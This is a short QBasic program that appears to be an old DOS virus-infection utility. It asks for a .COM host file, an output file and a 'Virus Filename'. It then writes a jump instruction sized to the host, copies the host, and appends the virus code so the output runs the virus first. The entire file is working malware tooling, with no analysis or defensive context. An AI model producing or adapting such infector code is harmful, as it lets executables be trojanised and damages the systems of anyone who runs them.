1: DECLARE FUNCTION Dec! (hx$) 2: DIM dd AS STRING * 1 3: CLS 4: PRINT "Use only .COM files!" 5: INPUT "Input Filename"; f$ 6: INPUT "Output Filename"; of$ 7: INPUT "Virus Filename"; vf$ 8: OPEN f$ FOR BINARY AS #1 9: OPEN of$ FOR BINARY AS #2 10: OPEN vf$ FOR BINARY AS #3 11: oo$ = "" 12: fs = LOF(1) 13: mm$ = UCASE$(RTRIM$(LTRIM$(HEX$(fs)))) 14: IF LEN(mm$) = 3 THEN mm$ = "0" + mm$ 15: 'PRINT "FOR q ="; LEN(mm$) - 1; "to 1 Step -2" 16: FOR q = LEN(mm$) - 1 TO 1 STEP -2 17: 'PRINT "Reading pos"; q; "to"; q + 1: PRINT MID$(mm$, q, 1); MID$(mm$, q + 1, 1) 18: IF Dec(MID$(mm$, q, 2)) = 0 THEN GOTO 2 19: oo$ = oo$ + CHR$(Dec(MID$(mm$, q, 1) + MID$(mm$, q + 1, 1))) 20: 'PRINT MID$(mm$, q, 1); MID$(mm$, q + 1, 1); q; mm$; Dec(MID$(mm$, q, 1) + MID$(mm$, q + 1, 1)) 21: 2 NEXT q 22: Hdr$ = "é" + oo$ 23: IF LEN(Hdr$) = 2 THEN Hdr$ = Hdr$ + CHR$(0) 24: 25: FOR e = 1 TO LEN(Hdr$) 26: ff$ = MID$(Hdr$, e, 1) 27: PUT #2, , ff$ 28: NEXT e 29: FOR mm = 1 TO LOF(1) 30: GET #1, mm, dd 31: PUT #2, , dd 32: dd = "" 33: NEXT mm 34: dd = "" 35: FOR m2 = 1 TO LOF(3) 36: GET #3, m2, dd 37: PUT #2, , dd 38: dd = "" 39: NEXT m2 40: CLOSE 1, 2, 3 41: END 42: 43: FUNCTION Dec (hx$) 44: FOR lq = 0 TO 256 45: ma$ = HEX$(lq) 46: IF LEN(ma$) = 1 THEN ma$ = "0" + ma$ 47: IF LEN(ma$) = 3 THEN ma$ = "0" + ma$ 48: IF LEN(ma$) = 5 THEN ma$ = "0" + ma$ 49: IF UCASE$(ma$) = UCASE$(hx$) THEN Dec = lq 50: NEXT lq 51: END FUNCTION 52: |